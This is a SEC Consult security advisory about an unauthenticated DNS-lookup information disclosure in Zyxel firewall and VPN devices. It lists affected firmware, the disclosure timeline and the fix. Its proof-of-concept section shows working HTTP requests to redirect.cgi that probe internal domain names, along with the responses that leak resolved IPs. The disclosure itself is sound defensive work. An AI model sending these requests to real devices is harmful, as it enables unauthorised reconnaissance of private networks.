SEC Consult Vulnerability Lab Security Advisory < 20190829-1 >
=======================================================================
              title: External DNS Requests
            product: Zyxel USG/UAG/ATP/VPN/NXC series
 vulnerable version: see "Vulnerable / tested version"
      fixed version: see "Solution"
         CVE number: -
             impact: medium
           homepage: https://www.zyxel.com
              found: 2019-06-19
                 by: Thomas Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Focused on innovation and customer-centricity, Zyxel Communications Corp. has
been connecting people to the internet for nearly 30 years. We keep promoting
creativity which meets the needs of customers. This spirit has never been
changed since we developed the world's first integrated 3-in-1 data/fax/voice
modem in 1992. Our ability to adapt and innovate with networking technology
places us at the forefront of understanding connectivity for telco/service
providers, businesses and home users.

We're building the networks of tomorrow, helping unlock the world's potential
and meeting the needs of the modern workplace; powering people at work, life
and play. We stand side-by-side with our customers and partners to share new
approaches to networking that will unleash their abilities. Loyal friend,
powerful ally, reliable resource — we are Zyxel, Your Networking Ally."

Source: https://www.zyxel.com/about_zyxel/company_overview.shtml



Business recommendation:
------------------------
SEC Consult recommends Zyxel customers to upgrade the firmware to the latest
version available. A thorough security review should be performed by security
professionals to identify further potential security issues.


Vulnerability overview/description:
-----------------------------------
1) Information Disclosure via Unauthenticated External DNS Requests
A DNS request can be made by an unauthenticated attacker to either spam a DNS
service of a third party with requests that have a spoofed origin or probe
whether domain names are present on the internal network behind the firewall.


Proof of concept:
-----------------
1) Information Disclosure via Unauthenticated External DNS Requests
By sending the following POST request an attacker can probe for the domain
"subdomain.domain.com":
-------------------------------------------------------------------------------
POST /redirect.cgi?original_url=http%3a%2f%2f192.168.1.1%2f HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

arip=subdomain.domain.com
-------------------------------------------------------------------------------

The following GET request can be used for the same purpose:
-------------------------------------------------------------------------------
GET /redirect.cgi?arip=subdomain.domain.com&original_url=http%3a%2f%2f192.168.1.1%2f HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
Connection: close
Cache-Control: max-age=0
-------------------------------------------------------------------------------

If the domain can be resolved, the response contains the resolved IP address
within the cookie value:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 24 Jun 2019 08:14:33 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Set-Cookie: arip=<IP-of-subdomain.domain.com>; path=/
Set-Cookie: zy_pc_browser=1; path=/
Connection: close
Content-Type: text/html
Content-Length: 9099

[...]
-------------------------------------------------------------------------------

If the domain cannot be resolved, a redirection will be returned:
-------------------------------------------------------------------------------
HTTP/1.1 302 Found
Date: Mon, 24 Jun 2019 08:11:57 GMT
Location: ext-js/app/view/login/useraware.html
Content-Length: 220
Connection: close
Content-Type: text/html; charset=iso-8859-1

[...]
-------------------------------------------------------------------------------


Vulnerable / tested versions:
-----------------------------
The following versions have been tested, other versions might be affected as
well:
Zyxel USG110        ZLD 4.33
Zyxel USG210        ZLD 4.33
Zyxel USG310        ZLD 4.33
Zyxel USG1100       ZLD 4.33
Zyxel USG1900       ZLD 4.33
Zyxel USG2200-VPN   ZLD 4.33
Zyxel UAG2100       ZLD 4.18
Zyxel UAG4100       ZLD 4.18

The vendor provided the following list of affected devices:
Zyxel ATP200        ZLD4.33 patch 1 and earlier
Zyxel ATP500        ZLD4.33 patch 1 and earlier
Zyxel ATP800        ZLD4.33 patch 1 and earlier
Zyxel UAG2100       4.18 patch 1 and earlier
Zyxel UAG4100       4.18 patch 1 and earlier
Zyxel VPN50         SD-OS 10.02 and earlier
Zyxel VPN100        SD-OS 10.02 and earlier
Zyxel VPN300        SD-OS 10.02 and earlier
Zyxel USG20-VPN     ZLD4.33 and earlier
Zyxel USG20W-VPN    ZLD4.33 and earlier
Zyxel USG40         ZLD4.33 and earlier
Zyxel USG40W        ZLD4.33 and earlier
Zyxel USG60         ZLD4.33 and earlier
Zyxel USG60W        ZLD4.33 and earlier
Zyxel USG110        ZLD4.33 and earlier
Zyxel USG210        ZLD4.33 and earlier
Zyxel USG310        ZLD4.33 and earlier
Zyxel USG1100       ZLD4.33 and earlier
Zyxel USG1900       ZLD4.33 and earlier
Zyxel USG2200       ZLD4.33 and earlier
Zyxel NXC2500       5.40 and earlier
Zyxel NXC5500       5.40 and earlier
-------------------------------------------------------------------------------


Vendor contact timeline:
------------------------
2019-06-26: Contacting vendor through security@zyxel.com.tw.
2019-06-27: Vendor changed PGP key. Sent advisory with new key. Vendor
            confirmed receipt.
2019-07-03: Asked for an update; Vendor told that they just finished their
            investigation.
2019-07-09: Vendor provided a full list of devices that are prone to this
            vulnerability.
2019-07-23: Asked for a timeline; Vendor asked to shift the release of the
            advisory to 2019-08-29 in order to provide fixes; Shifted advisory
            release to this date.
2019-08-26: Asked for a status update; Vendor told that fixes are ready to be
            published at 2019-08-29.
2019-08-29: Coordinated advisory release.


Solution:
---------
Install the newest firmware for your device from the vendor's website
to fix this issue:

https://www.zyxel.com/support/download_landing.shtml

Additionally, the vendor provides the following security notice:
https://www.zyxel.com/support/web-CGI-vulnerability-of-gateways-and-access-point-controllers.shtml


Workaround:
-----------
Restrict network access to the web interface.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
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Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF T.Weber / @2019